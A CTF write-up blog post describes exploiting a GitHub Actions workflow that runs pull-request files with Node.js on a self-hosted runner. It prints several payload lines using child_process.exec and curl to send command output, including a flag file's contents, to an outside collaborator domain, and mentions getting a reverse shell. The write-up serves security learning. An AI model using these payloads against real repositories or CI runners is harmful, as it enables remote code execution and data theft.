Here’s How We Exploited the GitHub Workflow: A Walkthrough of OWASP Kathmandu CTF

Veshraj Ghimire
5 min readJan 15, 2023

--

We would like to extend a warm greeting to Smaran Chand, Niraj Khatiwada and Kailash Bohara brothers who put in tireless effort to organize the OWASP Kathmandu second chapter including the CTF on this event. The event was an exhilarating experience that not only challenged my skills but also helped us learn more about the GitHub workflow and possible misconfigurations making it vulnerable. We would like to take this opportunity to thank the organizers for creating such a fantastic event and providing an excellent platform for security enthusiasts to test and improve their skills.

The start:

The start of the CTF was quite creative, as the URL to access the challenge was located on the right side of the ID card given to each participant.

Visiting the URL redirected us to https://hacknopedia.com/ctf/ which was suggesting us to go to a google storage:

Upon visiting the URL, we were presented with a hint that told us to check the metadata of the index.html and config.txt files. Without second thought, we tried exiftool but it didn’t worked out.

However, upon closely inspecting the headers, we stumbled upon an unusual header named “x-goog-meta-jhanda”. It looked like a base64 encoded text:

Decoding the value:

After decoding the base64 encoded text, we discovered that it was referring us to a Github repository. This was a crucial breakthrough, as it helped us understand that the focus of the challenge was on the Github. We immediately accessed the repository and started inspecting the code and files, looking for any clues or vulnerabilities that could help us progress in the challenge.

The Github repository contained a .github/workflows directory and a README.md file. The README.md file had a sample Node.js code snippet, but it did not contain any useful information for the challenge. However, the .github/workflows directory caught our attention as it contained the workflow configuration files for the repository. We started analyzing the files.

What this workflow does?

The workflow defined in the repository is named “Code Checker” and it listens to the “pull_request” event. When this event is triggered, for example when a pull request is opened or synchronized, it starts a job named “save-file” which runs on a self-hosted runner.

The step “Set environment variables” runs a shell script that performs the following actions:

  1. It creates a variable named pr_file and assigns it the value of the output of the command ls | grep -v "README.md". This command lists all the files in the current directory and filters out the file named "README.md" using the grep command with the -v option.
  2. It runs the command timeout 5s node $pr_file , this runs the file $pr_file with node.js interpreter with a timeout of 5 seconds. It means that after 5 seconds the command will be killed if it is still running.

So, in short, it is running a shell script that finds the file in the current directory that is not named “README.md”, and then runs that file using the Node.js interpreter with a timeout of 5 seconds.

The Exploit:

The exploit for this vulnerability would involve creating a file named “test” and adding a command that utilizes the Node.js child_process module to execute a command on the system. For example, adding the following line of code to the "test" file:

require("child_process").exec('curl `whoami`.burpcollab.com')

This would execute the whoami command, which returns the current user, and hit back the result in our server by sending the output to the specified domain.

By adding this line of code to the “test” file and committing it to the repository, the workflow would trigger and run the “test” file with the Node.js interpreter. This would execute the command, which would hit back the result on our server.

Now that we know that the user is “ken_kaneki”, we can use the same technique to list the files in the home directory by creating a file named “test” with following command:

require("child_process").exec('curl `ls /`.burpcollab.com')

Now, we know that there is a file named “flag.txt” on ken_kaneki’s home directory, we could simply use following command to read the file’s content:

require("child_process").exec('curl `cat /home/ken_kaneki/flag.txt`.burpcollab.com')

Finally we got our flag, Yay!!

The Back Story:

The steps may have sounded easy, but in reality, it was a challenging task. One of the biggest struggles we faced was understanding what the Github workflow was doing. Initially, we were trying to get a reverse shell which failed multiple times, but after performing some tests on our local machine, we were finally able to achieve it.

I was spammed by Github like:

The Reward:

Srijan Adk and I were awarded with a one-month subscription to PentesterLab, an online platform that provides hands-on training in Web Application security. Additionally, we received a cool letter of recognition for our achievement. It was a great feeling to be recognized for our hard work and it serves as motivation to continue to improve our skills. Participating in the CTF was an amazing learning experience and we are grateful for the opportunity.

Final Notes:

In addition to thanking the organizers, We also want to express our gratitude to Hari Regmi Dai and other friends who provided guidance and support throughout the CTF process. Their help and guidance was instrumental in our success. They helped us to understand the concepts better, and provided us with helpful tips and tricks. We are grateful for their support and would like to thank them for their time and effort.

That concludes the write-up of the OWASP Kathmandu CTF challenge. I hope you found it informative and interesting. I would like to thank you for reading this write-up and I hope to see you in my next article.

Feel free to connect with us on twitter:
Srijan Adk
Veshraj Ghimire

--

--